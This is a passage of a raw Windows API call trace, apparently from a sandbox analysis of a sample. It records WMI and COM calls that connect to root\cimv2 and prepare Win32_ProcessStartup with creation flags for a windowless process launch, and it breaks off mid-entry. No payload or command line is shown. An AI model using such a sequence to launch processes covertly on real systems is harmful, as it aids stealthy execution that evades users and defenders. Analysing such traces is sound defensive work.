[0119.047] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af160, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c450 | out: ppvObject=0x1b30c450*=0x0) returned 0x80004002 [0119.047] WbemDefPath:IUnknown:Release (This=0x1b4af160) returned 0x2 [0119.047] WbemDefPath:IUnknown:Release (This=0x1b4af160) returned 0x1 [0119.047] CoGetContextToken (in: pToken=0x1b30d180 | out: pToken=0x1b30d180) returned 0x0 [0119.048] CoGetContextToken (in: pToken=0x1b30d080 | out: pToken=0x1b30d080) returned 0x0 [0119.048] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af160, riid=0x1b30d1e0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d1b0 | out: ppvObject=0x1b30d1b0*=0x1b4af160) returned 0x0 [0119.048] WbemDefPath:IUnknown:AddRef (This=0x1b4af160) returned 0x3 [0119.048] WbemDefPath:IUnknown:Release (This=0x1b4af160) returned 0x2 [0119.048] WbemDefPath:IWbemPath:SetText (This=0x1b4af160, uMode=0x4, pszPath="\\\\XC64ZB\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x0 [0119.048] IWbemClassObject:Get (in: This=0x1b4d7900, wszName="CreateFlags", lFlags=0, pVal=0x1b30d590*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28fa638*=0, plFlavor=0x28fa63c*=0 | out: pVal=0x1b30d590*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28fa638*=19, plFlavor=0x28fa63c*=0) returned 0x0 [0119.048] IWbemClassObject:Get (in: This=0x1b4d7900, wszName="CreateFlags", lFlags=0, pVal=0x1b30d580*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28fa638*=19, plFlavor=0x28fa63c*=0 | out: pVal=0x1b30d580*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28fa638*=19, plFlavor=0x28fa63c*=0) returned 0x0 [0119.048] IWbemClassObject:Put (This=0x1b4d7900, wszName="CreateFlags", lFlags=0, pVal=0x1b30d5e0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x8, varVal2=0x0), Type=0) returned 0x0 [0119.048] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4b0720, puCount=0x1b30d568 | out: puCount=0x1b30d568*=0x0) returned 0x0 [0119.048] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x655eb0, puCount=0x1b30d528 | out: puCount=0x1b30d528*=0x2) returned 0x0 [0119.048] WbemDefPath:IWbemPath:GetText (in: This=0x655eb0, lFlags=4, puBuffLength=0x1b30d520*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d520*=0xf, pszText=0x0) returned 0x0 [0119.048] WbemDefPath:IWbemPath:GetText (in: This=0x655eb0, lFlags=4, puBuffLength=0x1b30d520*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d520*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0119.048] CoGetObjectContext (in: riid=0x258d2d0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d478 | out: ppv=0x1b30d478*=0x6124e8) returned 0x0 [0119.049] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d468 | out: pAptType=0x1b30d468*=1) returned 0x0 [0119.049] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x258d2b0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d470 | out: ppvObject=0x1b30d470*=0x0) returned 0x80004002 [0119.049] IUnknown:Release (This=0x6124e8) returned 0x1 [0119.049] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c868 | out: ppv=0x1b30c868*=0x1b4ab9b0) returned 0x0 [0119.049] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4ab9b0, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c950 | out: ppvObject=0x1b30c950*=0x0) returned 0x80004002 [0119.049] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b4ab9b0, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c928 | out: ppvObject=0x1b30c928*=0x1b4b0960) returned 0x0 [0119.050] WbemDefPath:IUnknown:Release (This=0x1b4ab9b0) returned 0x0 [0119.050] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0960, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c6d0 | out: ppvObject=0x1b30c6d0*=0x1b4b0960) returned 0x0 [0119.050] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0960, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c760 | out: ppvObject=0x1b30c760*=0x0) returned 0x80004002 [0119.050] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0960, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30bf58 | out: ppvObject=0x1b30bf58*=0x0) returned 0x80004002 [0119.050] WbemDefPath:IUnknown:AddRef (This=0x1b4b0960) returned 0x3 [0119.050] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0960, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30be18 | out: ppvObject=0x1b30be18*=0x0) returned 0x80004002 [0119.050] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0960, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30bda0 | out: ppvObject=0x1b30bda0*=0x0) returned 0x80004002 [0119.050] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0960, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30bd90 | out: ppvObject=0x1b30bd90*=0x1b4ac090) returned 0x0 [0119.050] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b4ac090, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30bdb8 | out: pCid=0x1b30bdb8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0119.050] WbemDefPath:IUnknown:Release (This=0x1b4ac090) returned 0x3 [0119.050] CoGetContextToken (in: pToken=0x1b30be40 | out: pToken=0x1b30be40) returned 0x0 [0119.050] CoGetContextToken (in: pToken=0x1b30c2c0 | out: pToken=0x1b30c2c0) returned 0x0 [0119.050] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0960, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c380 | out: ppvObject=0x1b30c380*=0x0) returned 0x80004002 [0119.050] WbemDefPath:IUnknown:Release (This=0x1b4b0960) returned 0x2 [0119.050] WbemDefPath:IUnknown:Release (This=0x1b4b0960) returned 0x1 [0119.050] CoGetContextToken (in: pToken=0x1b30d0b0 | out: pToken=0x1b30d0b0) returned 0x0 [0119.050] CoGetContextToken (in: pToken=0x1b30cfb0 | out: pToken=0x1b30cfb0) returned 0x0 [0119.051] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0960, riid=0x1b30d110*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d0e0 | out: ppvObject=0x1b30d0e0*=0x1b4b0960) returned 0x0 [0119.051] WbemDefPath:IUnknown:AddRef (This=0x1b4b0960) returned 0x3 [0119.051] WbemDefPath:IUnknown:Release (This=0x1b4b0960) returned 0x2 [0119.051] WbemDefPath:IWbemPath:SetText (This=0x1b4b0960, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0119.051] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4b0960, puCount=0x1b30d498 | out: puCount=0x1b30d498*=0x2) returned 0x0 [0119.051] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b0960, lFlags=4, puBuffLength=0x1b30d490*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d490*=0xf, pszText=0x0) returned 0x0 [0119.051] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b0960, lFlags=4, puBuffLength=0x1b30d490*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d490*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0119.051] CoGetObjectContext (in: riid=0x258d2d0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d508 | out: ppv=0x1b30d508*=0x6124e8) returned 0x0 [0119.051] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d4f8 | out: pAptType=0x1b30d4f8*=1) returned 0x0 [0119.051] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x258d2b0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d500 | out: ppvObject=0x1b30d500*=0x0) returned 0x80004002 [0119.051] IUnknown:Release (This=0x6124e8) returned 0x1 [0119.051] CoGetClassObject (in: rclsid=0x1b440e38*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30cbc8 | out: ppv=0x1b30cbc8*=0x1b4aba50) returned 0x0 [0119.052] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4aba50, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30ccb0 | out: ppvObject=0x1b30ccb0*=0x0) returned 0x80004002 [0119.052] WbemLocator:IClassFactory:CreateInstance (in: This=0x1b4aba50, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cc88 | out: ppvObject=0x1b30cc88*=0x1b4abbb0) returned 0x0 [0119.052] WbemLocator:IUnknown:Release (This=0x1b4aba50) returned 0x0 [0119.052] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4abbb0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30ca30 | out: ppvObject=0x1b30ca30*=0x1b4abbb0) returned 0x0 [0119.052] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4abbb0, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30cac0 | out: ppvObject=0x1b30cac0*=0x0) returned 0x80004002 [0119.052] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4abbb0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30c2b8 | out: ppvObject=0x1b30c2b8*=0x0) returned 0x80004002 [0119.052] WbemLocator:IUnknown:AddRef (This=0x1b4abbb0) returned 0x3 [0119.052] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4abbb0, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30c178 | out: ppvObject=0x1b30c178*=0x0) returned 0x80004002 [0119.052] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4abbb0, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30c100 | out: ppvObject=0x1b30c100*=0x0) returned 0x80004002 [0119.052] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4abbb0, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c0f0 | out: ppvObject=0x1b30c0f0*=0x0) returned 0x80004002 [0119.052] CoGetContextToken (in: pToken=0x1b30c1a0 | out: pToken=0x1b30c1a0) returned 0x0 [0119.052] CoGetContextToken (in: pToken=0x1b30c620 | out: pToken=0x1b30c620) returned 0x0 [0119.052] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4abbb0, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c6e0 | out: ppvObject=0x1b30c6e0*=0x0) returned 0x80004002 [0119.052] WbemLocator:IUnknown:Release (This=0x1b4abbb0) returned 0x2 [0119.052] WbemLocator:IUnknown:Release (This=0x1b4abbb0) returned 0x1 [0119.052] CoGetContextToken (in: pToken=0x1b30d060 | out: pToken=0x1b30d060) returned 0x0 [0119.052] CoGetContextToken (in: pToken=0x1b30cf60 | out: pToken=0x1b30cf60) returned 0x0 [0119.053] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4abbb0, riid=0x1b30d0c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1b30d090 | out: ppvObject=0x1b30d090*=0x1b4abbb0) returned 0x0 [0119.053] WbemLocator:IUnknown:AddRef (This=0x1b4abbb0) returned 0x3 [0119.053] WbemLocator:IUnknown:Release (This=0x1b4abbb0) returned 0x2 [0119.053] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4b0960, puCount=0x1b30d498 | out: puCount=0x1b30d498*=0x2) returned 0x0 [0119.053] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b0960, lFlags=8, puBuffLength=0x1b30d490*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d490*=0xf, pszText=0x0) returned 0x0 [0119.053] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b0960, lFlags=8, puBuffLength=0x1b30d490*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d490*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0119.053] CoCreateInstance (in: rclsid=0x7ffa716666a8*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7ffa71666708*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1b30d100 | out: ppv=0x1b30d100*=0x1b4ab9b0) returned 0x0 [0119.053] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1b4ab9b0, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1b30d348 | out: ppNamespace=0x1b30d348*=0x1b4e0e00) returned 0x0 [0119.216] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4e0e00, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cf78 | out: ppvObject=0x1b30cf78*=0x1b511bb0) returned 0x0 [0119.216] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1b511bb0, pProxy=0x1b4e0e00, pAuthnSvc=0x1b30d040, pAuthzSvc=0x1b30cfc0, pServerPrincName=0x1b30cfe8, pAuthnLevel=0x1b30cfc4, pImpLevel=0x1b30cfd0, pAuthInfo=0x1b30cff8, pCapabilites=0x1b30cfd4 | out: pAuthnSvc=0x1b30d040*=0xa, pAuthzSvc=0x1b30cfc0*=0x0, pServerPrincName=0x1b30cfe8, pAuthnLevel=0x1b30cfc4*=0x6, pImpLevel=0x1b30cfd0*=0x2, pAuthInfo=0x1b30cff8, pCapabilites=0x1b30cfd4*=0x1) returned 0x0 [0119.216] WbemLocator:IUnknown:Release (This=0x1b511bb0) returned 0x1 [0119.216] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4e0e00, riid=0x7ffa71666518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cf10 | out: ppvObject=0x1b30cf10*=0x1b511bf8) returned 0x0 [0119.216] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4e0e00, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cf20 | out: ppvObject=0x1b30cf20*=0x1b511bb0) returned 0x0 [0119.216] WbemLocator:IClientSecurity:SetBlanket (This=0x1b511bb0, pProxy=0x1b4e0e00, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0119.216] WbemLocator:IUnknown:Release (This=0x1b511bb0) returned 0x2 [0119.217] WbemLocator:IUnknown:Release (This=0x1b511bf8) returned 0x1 [0119.217] CoTaskMemFree (pv=0x1b461af0) [0119.217] WbemLocator:IUnknown:Release (This=0x1b4ab9b0) returned 0x0 [0119.217] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4e0e00, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30ca10 | out: ppvObject=0x1b30ca10*=0x1b511bf8) returned 0x0 [0119.217] WbemLocator:IUnknown:QueryInterface (in: This=0x1b511bf8, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30caa0 | out: ppvObject=0x1b30caa0*=0x0) returned 0x80004002 [0119.223] WbemLocator:IUnknown:QueryInterface (in: This=0x1b511bf8, riid=0x7ffa5f00bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c6c0 | out: ppvObject=0x1b30c6c0*=0x0) returned 0x80004002 [0119.236] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4e0e00, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30c298 | out: ppvObject=0x1b30c298*=0x0) returned 0x80004002 [0119.238] WbemLocator:IUnknown:AddRef (This=0x1b511bf8) returned 0x3 [0119.239] WbemLocator:IUnknown:QueryInterface (in: This=0x1b511bf8, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30c158 | out: ppvObject=0x1b30c158*=0x0) returned 0x80004002 [0119.239] WbemLocator:IUnknown:QueryInterface (in: This=0x1b511bf8, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30c0e0 | out: ppvObject=0x1b30c0e0*=0x0) returned 0x80004002 [0119.239] WbemLocator:IUnknown:QueryInterface (in: This=0x1b511bf8, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c0d0 | out: ppvObject=0x1b30c0d0*=0x1b511ad8) returned 0x0 [0119.239] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1b511ad8, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30c0f8 | out: pCid=0x1b30c0f8*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0119.239] WbemLocator:IUnknown:Release (This=0x1b511ad8) returned 0x3 [0119.239] CoGetContextToken (in: pToken=0x1b30c180 | out: pToken=0x1b30c180) returned 0x0 [0119.239] CoGetContextToken (in: pToken=0x1b30c600 | out: pToken=0x1b30c600) returned 0x0 [0119.239] WbemLocator:IUnknown:QueryInterface (in: This=0x1b511bf8, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c6c0 | out: ppvObject=0x1b30c6c0*=0x1b511bc0) returned 0x0 [0119.239] WbemLocator:IRpcOptions:Query (in: This=0x1b511bc0, pPrx=0x1b511bf8, dwProperty=2, pdwValue=0x1b30c6b0 | out: pdwValue=0x1b30c6b0) returned 0x80004002 [0119.239] WbemLocator:IUnknown:Release (This=0x1b511bc0) returned 0x3 [0119.239] WbemLocator:IUnknown:Release (This=0x1b511bf8) returned 0x2 [0119.239] CoGetContextToken (in: pToken=0x1b30ccc0 | out: pToken=0x1b30ccc0) returned 0x0 [0119.239] CoGetContextToken (in: pToken=0x1b30cbc0 | out: pToken=0x1b30cbc0) returned 0x0 [0119.239] WbemLocator:IUnknown:QueryInterface (in: This=0x1b511bf8, riid=0x1b30cd20*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1b30ccf0 | out: ppvObject=0x1b30ccf0*=0x1b4e0e00) returned 0x0 [0119.239] WbemLocator:IUnknown:AddRef (This=0x1b4e0e00) returned 0x4 [0119.239] WbemLocator:IUnknown:Release (This=0x1b4e0e00) returned 0x3 [0119.239] WbemLocator:IUnknown:Release (This=0x1b4e0e00) returned 0x2 [0119.240] SysStringLen (param_1=0x0) returned 0x0 [0119.240] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4b0960, puCount=0x1b30d4d8 | out: puCount=0x1b30d4d8*=0x2) returned 0x0 [0119.240] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b0960, lFlags=4, puBuffLength=0x1b30d4d0*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d4d0*=0xf, pszText=0x0) returned 0x0 [0119.240] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b0960, lFlags=4, puBuffLength=0x1b30d4d0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d4d0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0119.240] CoGetContextToken (in: pToken=0x1b30cde0 | out: pToken=0x1b30cde0) returned 0x0 [0119.240] WbemLocator:IUnknown:AddRef (This=0x1b511bf8) returned 0x3 [0119.240] WbemLocator:IUnknown:QueryInterface (in: This=0x1b511bf8, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cde0 | out: ppvObject=0x1b30cde0*=0x1b511bf8) returned 0x0 [0119.240] WbemLocator:IUnknown:Release (This=0x1b511bf8) returned 0x3 [0119.240] WbemLocator:IUnknown:Release (This=0x1b511bf8) returned 0x2 [0119.240] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b0720, lFlags=2, puBuffLength=0x1b30d4e0*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d4e0*=0xe, pszText=0x0) returned 0x0 [0119.240] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b0720, lFlags=2, 